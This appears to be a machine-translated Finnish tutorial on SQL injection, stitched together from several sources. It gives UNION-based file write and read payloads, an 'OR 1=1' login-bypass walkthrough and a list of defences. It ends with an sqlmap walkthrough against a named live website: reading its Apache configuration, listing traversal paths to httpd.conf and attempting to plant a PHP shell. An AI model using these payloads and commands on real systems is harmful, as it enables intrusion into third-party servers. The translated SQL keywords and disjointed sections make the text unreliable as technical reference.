sqlinj/index2.php?user=-1" UNION SELECT 1",",3,4,5 OUTFILE "1.php" --%20
Tiedostojen lukeminen
Tiedostojen lukeminen on jopa helpompaa kuin kirjoittaminen. Pelkkä toiminnon käyttäminen riittää LOAD_FILE, valitsemamme kentän paikkaan:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Olemme siis lukeneet edellisen kirjoitetun tiedoston.

Suojausmenetelmät

Itsesi suojaaminen on jopa helpompaa kuin haavoittuvuuden hyödyntäminen. Suodata vain tiedot. Jos annat numeroita, käytä
$id = (int) $_GET["id"];
Kuten käyttäjä malroc ehdotti. Suojaa itsesi käyttämällä suojattua alkuperänimitystä tai valmisteltuja lausuntoja.

Täydentämisen sijaan

Tähän haluan lopettaa ensimmäisen osan "SQL-injektiosta aloittelijoille". Toisessa tarkastelemme vakavampia esimerkkejä injektioista. Yritä kirjoittaa haavoittuvia komentosarjoja ja suorittaa kyselyjä itse.
Ja muista, älä luota yhteenkään sivustosi käyttäjään.

SQL-injektio on hyökkäys, joka hyödyntää dynaamisia SQL-lauseita kommentoimalla tiettyjä lauseiden osia tai lisäämällä ehdon, joka on aina tosi. Se kohdistuu verkkosovellusarkkitehtuurin aukkoihin ja käyttää SQL-lauseita haitallisen SQL-koodin suorittamiseen:

Tässä artikkelissa tarkastellaan SQL-injektioissa käytettyjä tekniikoita ja verkkosovellusten suojaamista tällaisilta hyökkäyksiltä.

Kuinka SQL-injektio toimii

Hyökkäysten tyypit, jotka voidaan suorittaa käyttämällä SQL-injektiota, vaihtelevat sen mukaan, minkä tyyppistä tietokantakonetta tämä vaikuttaa. Hyökkäys kohdistuu dynaamisiin SQL-lauseisiin. Dynaaminen lauseke on lause, joka luodaan ajon aikana verkkolomakkeen tai URI-kyselymerkkijonon parametrien perusteella.

Harkitse yksinkertaista verkkosovellusta kirjautumislomakkeella. HTML-lomakekoodi on alla:

  • Lomake hyväksyy sähköpostiosoitteen ja sitten salasana lähetetään PHP-tiedostoon nimeltä index.php;
  • Istunto tallennetaan evästeeseen. Tämä ominaisuus otetaan käyttöön tarkistamalla Remember_me -lippu. Postitusmenetelmää käytetään tietojen lähettämiseen. Tämä tarkoittaa, että arvoja ei näytetä URL-osoitteessa.

Oletetaan, että palvelinpuolen käyttäjätunnuksen tarkistuspyyntö näyttää tältä:

  • Pyyntö käyttää $_POST-taulukon arvoja suoraan puhdistamatta sitä;
  • Salasana on salattu MD5-algoritmilla.

Tarkastelemme hyökkäystä SQL-injektiolla sqlfiddle. Avaa URL-osoite http://sqlfiddle.com/ selaimessasi. Näyttöön tulee seuraava ikkuna.

Huomautus: Sinun on kirjoitettava SQL-käskyt:

Vaihe 1: Kirjoita tämä koodi vasemmanpuoleiseen paneeliin:

LUO TAULUKON `käyttäjät` (`id` INT NOT NULL AUTO_INCREMENT, `sähköposti` VARCHAR(45) NULL, `salasana` VARCHAR(45) NULL, PRIMARY KEY (`id`)); lisää käyttäjiin (sähköposti, salasana) arvot (" [sähköposti suojattu]",md5("abc"));

Vaihe 2: Napsauta painiketta Rakenna kaavio».
Vaihe 3: Kirjoita alla oleva koodi oikeanpuoleiseen ruutuun:

valitse * käyttäjistä;

Vaihe 4: Napsauta " Suorita SQL" Näet seuraavan tuloksen:

Oletetaan, että käyttäjä antaa sähköpostiosoitteen [sähköposti suojattu] ja 1234 salasanana. Tietokannassa suoritettava kysely saattaa näyttää tältä:

Yllä oleva esimerkki SQL-injektiokoodi voidaan ohittaa kommentoimalla osa salasanasta ja lisäämällä ehto, joka on aina tosi. Oletetaan, että hyökkääjä lisää seuraavat tiedot sähköpostiosoitekenttään:

[sähköposti suojattu]" TAI 1 = 1 RAJA 1 -- " ]

ja xxx salasanakentässä.

Luotu dynaaminen lause näyttää tältä:

  • [sähköposti suojattu] päättyy yhteen lainaukseen, joka päättää merkkijonon;
  • TAI 1 = 1 RAJA 1 on ehto, joka on aina tosi ja rajoittaa palautetut tulokset vain yhteen tietueeseen.

0; AND ... on SQL-kommentti, joka sulkee pois salasanaosan.

Kopioi yllä oleva kysely ja liitä se FiddleRun SQL -tekstiruutuun alla olevan kuvan mukaisesti:

Hakkeritoiminta: SQL-injektiot verkkosovelluksiin

Meillä on yksinkertainen web-sovellus, joka on saatavilla osoitteessa http://www.techpanda.org/, joka on erityisesti tehty haavoittuvaiseksi aloittelijoille esittelytarkoituksessa SQL-injektiohyökkäyksille. Yllä annettu HTML-lomakekoodi on otettu tämän sovelluksen valtuutussivulta.

Se tarjoaa perusturvallisuuden, kuten sähköpostikentän desinfioinnin. Tämä tarkoittaa, että yllä olevaa koodia ei voida käyttää tämän mekanismin ohittamiseen.

Voit ohittaa tämän käyttämällä salasanakenttää. Alla oleva kaavio näyttää vaiheet, jotka sinun on noudatettava:

Oletetaan, että hyökkääjä toimittaa seuraavat tiedot:

Vaihe 1: Anna [sähköposti suojattu] sähköpostiosoitteena;
Vaihe 2: Kirjoita xxx’) TAI 1 = 1 - ] ;

Napsauta "Lähetä" -painiketta.

Se lähetetään hallintopaneeliin. Luotu kysely näyttää tältä:

Alla oleva kaavio näyttää, kuinka pyyntö luotiin:

Tässä:

  • Pyyntö olettaa, että md5-salausta käytetään;
  • Käytetään lopullista lainausmerkkiä ja sulkuja;
  • Operaattoriin lisätään ehto, joka on aina tosi.

Yleensä hyökkääjät yrittävät käyttää useita eri menetelmiä SQL-injektiohyökkäyksessä saavuttaakseen tavoitteensa.

Muut SQL-injektiohyökkäykset

SQL-injektiot voivat aiheuttaa paljon enemmän vahinkoa kuin kirjautuminen järjestelmään ohittamalla valtuutusmekanismin. Jotkut näistä hyökkäyksistä voivat:

  • Suorita tietojen poistaminen;
  • Suorita tietojen päivitys;
  • Lisää tietoja;
  • Suorita palvelimella komentoja, jotka lataavat ja asentavat haittaohjelmia;
  • Vie arvokkaita tietoja, kuten luottokorttitietoja, sähköpostia ja salasanoja, hyökkääjän etäpalvelimelle.

Yllä oleva luettelo ei ole täydellinen. Se antaa vain käsityksen SQL-injektioiden aiheuttamista vaaroista.

Työkalut SQL-injektioiden automatisointiin

Yllä olevassa esimerkissä käytimme manuaalisia hyökkäysmenetelmiä. Ennen kuin suoritat SQL-injektion, sinun on ymmärrettävä, että on olemassa automaattisia työkaluja, joiden avulla voit suorittaa hyökkäyksiä tehokkaammin ja nopeammin:

  • SQLSmack ;
  • SQLPing 2 ;
  • SQLMap.

Kuinka estää SQL-injektiot

Tässä on muutamia yksinkertaisia ​​sääntöjä suojautuaksesi SQL-injektiohyökkäyksiltä:

Käyttäjän syötteeseen ei pidä luottaa. Se on aina puhdistettava ennen kuin tietoja käytetään dynaamisissa SQL-operaatioissa.

Tallennetut menettelyt- He voivat kapseloida SQL-kyselyitä ja käsitellä kaikki syötetiedot parametreina.

Valmiit kyselyt- Kyselyt luodaan ensin, ja sitten kaikki toimitetut käyttäjätiedot käsitellään parametreina. Tämä ei vaikuta SQL-lauseen syntaksiin.

Säännölliset lausekkeet- voidaan käyttää havaitsemaan mahdollisesti haitallinen koodi ja poistamaan se ennen SQL-käskyjen suorittamista.

Käyttöoikeudet muodostaa yhteys tietokantaan- kohtaan suojaa SQL-injektioita vastaan, tileille, joita käytetään yhteyden muodostamiseen tietokantaan, tulee myöntää vain tarvittavat käyttöoikeudet. Tämä auttaa rajoittamaan toimintoja, joita SQL-käskyt voivat suorittaa palvelimella.

Virheilmoitukset- ei saa paljastaa luottamuksellisia tietoja. Yksinkertaiset mukautetut virheilmoitukset, kuten " Anteeksi, tapahtui tekninen virhe. Tukitiimille on jo ilmoitettu asiasta. Yritä uudelleen myöhemmin" voidaan käyttää virheen aiheuttaneiden SQL-kyselyiden näyttämisen sijaan.

Spoileri: .ZEN

Meillä on sivustolla SQL-injektio, joka näyttää tältä:

Ensimmäinen asia, jonka haluamme tehdä, on tarkistaa, onko meillä oikeuksia kirjoittaa tiedostoja hyökkäyksen kohteena olevaan resurssiin, ladata pääte ja antaa seuraava komento:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Painamme Enter ja SQL-injektion analyysi alkaa, raportti näyttää tältä:

Kuten raportista näet, Apachen versio, MySQL-versio ja palvelimelle asennetun käyttöjärjestelmän versio on kirjoitettu, kaikki tämä on hyödyllistä meille tulevaisuudessa, mutta mikä tärkeintä, voit nähdä, että meillä on tiedostojen kirjoitusoikeudet, tämä näkyy rivillä Nykyinen käyttäjä on DBA: True

Seuraava askel meille on hankkia polut kuoren tallentamiseen. Voimme saada polun sivustollemme palvelimella lataamalla httpd.conf-tiedoston. Saamme tietoa httpd.conf-tiedoston sijainnista Googlen avulla. Voit etsiä asennetun käyttöjärjestelmän version tai todennäköisimpien polkujen luettelon perusteella. Yleensä en mene syvälle hakukoneiden surffailuun, vain kun olet selvittänyt tiedoston polun todennäköisimmän sijainnin, on aika ladata tämä sama tiedosto levyllesi, tehdäksesi tämän kirjoittamalla seuraava komento ja pyyntö lukea tiedosto palvelimella:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Huomaa heti, että tätä asetustiedostoa ei aina ole mahdollista löytää ensimmäisellä kerralla, joten voit käyttää todennäköisimpiä polkuja, joissa tämä tiedosto saattaa sijaita:

LUETTELO MAHDOLLISISTA poluista ASETUSTIEDOSTON:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Saamme sqlmapilta raportin seuraavassa muodossa:

Kuten näet, sqlmap kertoi meille, että tiedosto on samankokoinen kuin palvelimella oleva tiedosto, joten meillä on oikeus lukea tämä tiedosto. Jos tämän tiedoston lukemiseen ei ole riittävästi oikeuksia, näkyviin tulee virhe, että koneellemme tallennettu tiedosto on eri kokoinen kuin palvelimella oleva tiedosto tai palvelimella ei ole tiedostoa määrittämällämme polulla eikä koskaan ole ollut. Sqlmap tallensi tiedostomme raporttitiedostoihin, ja sen lukemiseksi meidän on käynnistettävä ikkunanhallinta. Ikkunanhallinnan käynnistämiseksi avaamme toisen pääteikkunan ja annamme komennon:

Seuraavaksi seuraamme avautuvassa hallinnassa polkua, johon sqlmap lisäsi tiedoston, eli:
/root/.sqlmap/output/sacoor.com
Vie seuraavaksi osoitin tiedoston päälle, paina näppäimistön F3-painiketta ja lue Apache-asetustiedosto:

Konfig-tiedostostamme näemme, että sivustomme sijaitsee palvelimella seuraavalla polulla:
/home/sbshop/site/

Nyt kun meillä on vähän tietoa, voimme yrittää täyttää kuoren, tehdäksesi tämän syöttämällä seuraavan komennon:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Komennon antamisen jälkeen sqlmap kysyy, minkä tyyppistä täyteainetta haluamme käyttää, koska... meidän tapauksessamme sivusto on PHP:llä, lataamme PHP-lataimen, valitsemme kohdan 4 ja painamme Enter. Seuraavaksi sqlmap pyytää meitä valitsemaan, mihin lataamme lataajamme, ja koska... Tiedämme jo polun sivustollemme palvelimella, valitse sitten kohta 2, paina Enter ja ilmoita polku sivustolle:
/home/sbshop/site/

Ja sen jälkeen paina Enter ja katso seuraava raportti:

Tässä tapauksessa sqlmap kertoo meille, että meillä ei ole kirjoitusoikeuksia tähän kansioon. Ei hätää, tämä ongelma on melko helppo ratkaista. Annamme komennon käynnistää uniscan ja tarkistaa tiedostojen ja kansioiden kirjoitettavuus, tässä on komento.